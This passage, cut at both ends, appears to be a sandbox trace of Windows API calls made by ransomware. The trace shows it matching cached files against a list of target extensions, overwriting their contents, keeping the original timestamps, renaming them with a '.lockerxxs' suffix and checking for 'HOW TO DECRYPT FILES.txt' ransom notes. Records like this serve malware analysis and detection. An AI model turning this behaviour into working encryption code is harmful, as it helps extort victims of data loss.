Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg") returned="BBBVSkP[1].jpg" [0084.238] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.238] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x807, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x807, lpOverlapped=0x0) returned 1 [0084.238] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.238] CloseHandle (hObject=0xa4) returned 1 [0084.238] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbvskp[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbvskp[1].jpg.lockerxxs")) returned 1 [0084.239] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x612a8ee0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x612a8ee0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x612a8ee0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x16f5, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBBYfEH[1].jpg", cAlternateFileName="BBBYFE~1.JPG")) returned 1 [0084.239] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.239] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBBYfEH[1].jpg") returned 1 [0084.240] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBBYfEH[1].jpg") returned 1 [0084.240] lstrcmpiA (lpString1="", lpString2="BBBYfEH[1].jpg") returned -1 [0084.240] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg") returned="BBBVSkP[1].jpg" [0084.240] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.240] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.240] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.240] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.240] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBBYfEH[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg" [0084.240] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg", pszSpec="*.ems") returned 0 [0084.240] lstrlenA (lpString="*.ems") returned 5 [0084.240] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg", pszSpec="*.db") returned 0 [0084.240] lstrlenA (lpString="*.db") returned 4 [0084.240] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg", pszSpec="*.dbf") returned 0 [0084.240] lstrlenA (lpString="*.dbf") returned 5 [0084.240] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg", pszSpec="*.myox") returned 0 [0084.240] lstrlenA (lpString="*.myox") returned 6 [0084.240] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg", pszSpec="*.myo") returned 0 [0084.241] lstrlenA (lpString="*.myo") returned 5 [0084.241] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg", pszSpec="*.qbw") returned 0 [0084.241] lstrlenA (lpString="*.qbw") returned 5 [0084.241] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg", pszSpec="*.qbb") returned 0 [0084.241] lstrlenA (lpString="*.qbb") returned 5 [0084.241] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg", pszSpec="*.qbm") returned 0 [0084.241] lstrlenA (lpString="*.qbm") returned 5 [0084.241] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg", pszSpec="*.qbo") returned 0 [0084.241] lstrlenA (lpString="*.qbo") returned 5 [0084.241] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg", pszSpec="*.qbx") returned 0 [0084.241] lstrlenA (lpString="*.qbx") returned 5 [0084.241] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg", pszSpec="*.qba") returned 0 [0084.241] lstrlenA (lpString="*.qba") returned 5 [0084.241] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg", pszSpec="*.qby") returned 0 [0084.241] lstrlenA (lpString="*.qby") returned 5 [0084.241] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg", pszSpec="*.qbj") returned 0 [0084.241] lstrlenA (lpString="*.qbj") returned 5 [0084.241] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg", pszSpec="*.ofx") returned 0 [0084.241] lstrlenA (lpString="*.ofx") returned 5 [0084.241] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg", pszSpec="*.qif") returned 0 [0084.241] lstrlenA (lpString="*.qif") returned 5 [0084.241] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg", pszSpec="*.mye") returned 0 [0084.241] lstrlenA (lpString="*.mye") returned 5 [0084.241] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg", pszSpec="*.mbox") returned 0 [0084.241] lstrlenA (lpString="*.mbox") returned 6 [0084.242] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg", pszSpec="*.eml") returned 0 [0084.242] lstrlenA (lpString="*.eml") returned 5 [0084.242] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg", pszSpec="*.pst") returned 0 [0084.242] lstrlenA (lpString="*.pst") returned 5 [0084.242] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg", pszSpec="*.ost") returned 0 [0084.242] lstrlenA (lpString="*.ost") returned 5 [0084.242] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg", pszSpec="*.idx") returned 0 [0084.242] lstrlenA (lpString="*.idx") returned 5 [0084.242] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg", pszSpec="*.dbx") returned 0 [0084.242] lstrlenA (lpString="*.dbx") returned 5 [0084.242] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg", pszSpec="*.sql") returned 0 [0084.242] lstrlenA (lpString="*.sql") returned 5 [0084.242] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg", pszSpec="*.mdb") returned 0 [0084.242] lstrlenA (lpString="*.mdb") returned 5 [0084.242] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg", pszSpec="*.fdb") returned 0 [0084.242] lstrlenA (lpString="*.fdb") returned 5 [0084.242] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg", pszSpec="*.wab") returned 0 [0084.242] lstrlenA (lpString="*.wab") returned 5 [0084.242] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg", pszSpec="*.dat") returned 0 [0084.242] lstrlenA (lpString="*.dat") returned 5 [0084.242] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg", pszSpec="*.txt") returned 0 [0084.242] lstrlenA (lpString="*.txt") returned 5 [0084.243] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg", pszSpec="*.jpeg") returned 0 [0084.243] lstrlenA (lpString="*.jpeg") returned 6 [0084.243] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg", pszSpec="*.jpg") returned 1 [0084.243] lstrlenA (lpString="*.jpg") returned 5 [0084.243] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg" [0084.243] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg" [0084.243] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg." [0084.243] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg.lockerxxs" [0084.243] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbyfeh[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.244] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x16f5 [0084.244] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x612a8ee0, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x612a8ee0, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x612a8ee0, dwHighDateTime=0x1d2dd9e)) returned 1 [0084.244] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.244] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x16cf, lpOverlapped=0x0) returned 1 [0084.246] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg") returned="BBBYfEH[1].jpg" [0084.246] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.246] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x16cf, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x16cf, lpOverlapped=0x0) returned 1 [0084.246] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.246] CloseHandle (hObject=0xa4) returned 1 [0084.247] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbyfeh[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbyfeh[1].jpg.lockerxxs")) returned 1 [0084.248] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53017770, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53017770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x53017770, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc20, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBBZ5vT[1].jpg", cAlternateFileName="BBBZ5V~1.JPG")) returned 1 [0084.248] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.248] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBBZ5vT[1].jpg") returned 1 [0084.248] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBBZ5vT[1].jpg") returned 1 [0084.248] lstrcmpiA (lpString1="", lpString2="BBBZ5vT[1].jpg") returned -1 [0084.248] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg") returned="BBBYfEH[1].jpg" [0084.248] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.248] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.248] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.248] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.248] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBBZ5vT[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg" [0084.248] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg", pszSpec="*.ems") returned 0 [0084.248] lstrlenA (lpString="*.ems") returned 5 [0084.248] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg", pszSpec="*.db") returned 0 [0084.248] lstrlenA (lpString="*.db") returned 4 [0084.249] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg", pszSpec="*.dbf") returned 0 [0084.249] lstrlenA (lpString="*.dbf") returned 5 [0084.249] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg", pszSpec="*.myox") returned 0 [0084.249] lstrlenA (lpString="*.myox") returned 6 [0084.249] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg", pszSpec="*.myo") returned 0 [0084.249] lstrlenA (lpString="*.myo") returned 5 [0084.249] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg", pszSpec="*.qbw") returned 0 [0084.249] lstrlenA (lpString="*.qbw") returned 5 [0084.249] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg", pszSpec="*.qbb") returned 0 [0084.249] lstrlenA (lpString="*.qbb") returned 5 [0084.249] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg", pszSpec="*.qbm") returned 0 [0084.249] lstrlenA (lpString="*.qbm") returned 5 [0084.249] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg", pszSpec="*.qbo") returned 0 [0084.249] lstrlenA (lpString="*.qbo") returned 5 [0084.249] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg", pszSpec="*.qbx") returned 0 [0084.249] lstrlenA (lpString="*.qbx") returned 5 [0084.249] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg", pszSpec="*.qba") returned 0 [0084.249] lstrlenA (lpString="*.qba") returned 5 [0084.249] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg", pszSpec="*.qby") returned 0 [0084.249] lstrlenA (lpString="*.qby") returned 5 [0084.249] PathMatchSpecA 